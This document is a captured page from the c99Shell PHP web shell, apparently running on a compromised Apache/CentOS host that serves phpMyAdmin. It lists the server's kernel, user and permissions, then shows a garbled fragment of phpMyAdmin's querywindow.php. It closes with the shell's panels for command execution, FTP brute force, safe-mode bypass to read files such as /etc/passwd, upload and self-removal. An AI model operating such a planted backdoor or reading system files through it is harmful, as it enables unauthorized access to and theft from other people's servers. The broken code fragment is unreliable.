!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     querywindow.php (13.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
 0) {
    PMA_availableDatabases(); // this function is defined in "common.lib.php"
} else {
    $num_dbs = 0;
}

// garvin: For re-usability, moved http-headers and stylesheets
// to a seperate file. It can now be included by libraries/header.inc.php,
// querywindow.php.

require_once('./libraries/header_http.inc.php');
require_once('./libraries/header_meta_style.inc.php');
?>




 >
'; if ( 'both' === $GLOBALS['cfg']['PropertiesIconic'] ) { $titles['Change'] .= $strChange; } } else { $titles['Change'] = $strChange; } // Hidden forms and query frame interaction stuff if ( ! empty( $query_history_latest ) && ! empty( $query_history_latest_db ) ) { if ( $GLOBALS['cfg']['QueryHistoryDB'] && $cfgRelation['historywork'] ) { PMA_setHistory((isset($query_history_latest_db) ? $query_history_latest_db : ''), (isset($query_history_latest_table) ? $query_history_latest_table : ''), $GLOBALS['cfg']['Server']['user'], $query_history_latest ); } $_input_query_history[$query_history_latest] = array( 'db' => $query_history_latest_db, 'table' => isset($query_history_latest_table) ? $query_history_latest_table : '', ); $_sql_history[$query_history_latest] = array( 'db' => $query_history_latest_db, 'table' => isset($query_history_latest_table) ? $query_history_latest_table : '', ); $sql_query = urldecode($query_history_latest); $db = $query_history_latest_db; $table = $query_history_latest_table; } elseif ( ! empty( $query_history_latest ) ) { $sql_query = urldecode($query_history_latest); } if (isset($sql_query)) { $show_query = 1; } if ( $GLOBALS['cfg']['QueryHistoryDB'] && $cfgRelation['historywork'] ) { $temp_history = PMA_getHistory( $GLOBALS['cfg']['Server']['user'] ); if (is_array($temp_history) && count($temp_history) > 0) { foreach ($temp_history AS $history_nr => $history_array) { if ( ! isset( $_sql_history[$history_array['sqlquery']] ) ) { $_sql_history[$history_array['sqlquery']] = array( 'db' => $history_array['db'], 'table' => isset( $history_array['table'] ) ? $history_array['table'] : '', ); } } } } else { if (isset($query_history) && is_array($query_history)) { $current_index = count($query_history); foreach ($query_history AS $query_no => $query_sql) { if ( ! isset( $_input_query_history[$query_sql] ) ) { $_input_query_history[$query_sql] = array( 'db' => $query_history_db[$query_no], 'table' => isset($query_history_table[$query_no]) ? $query_history_table[$query_no] : '', ); $_sql_history[$query_sql] = array( 'db' => $query_history_db[$query_no], 'table' => isset( $query_history_table[$query_no] ) ? $query_history_table[$query_no] : '', ); } // end if check if this item exists } // end while print history } // end if history exists } // end if DB-based history $url_query = PMA_generate_common_url(isset($db) ? $db : '', isset($table) ? $table : ''); if (!isset($goto)) { $goto = ''; } require_once './libraries/bookmark.lib.php'; if (isset($no_js) && $no_js) { // ... we redirect to appropriate query sql page // works only full if $db and $table is also stored/grabbed from $_COOKIE if ( isset( $table ) && strlen($table) ) { require './tbl_properties.php'; } elseif ( isset($db) && strlen($db) ) { require './db_details.php'; } else { require './server_sql.php'; } exit; } /** * Defines the query to be displayed in the query textarea */ if ( ! empty( $show_query ) ) { $query_to_display = $sql_query; } else { $query_to_display = ''; } unset( $sql_query ); PMA_sqlQueryForm( $query_to_display, $querydisplay_tab ); // Hidden forms and query frame interaction stuff if (isset($auto_commit) && $auto_commit == 'true') { ?> 0 && ( $querydisplay_tab == 'history'
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--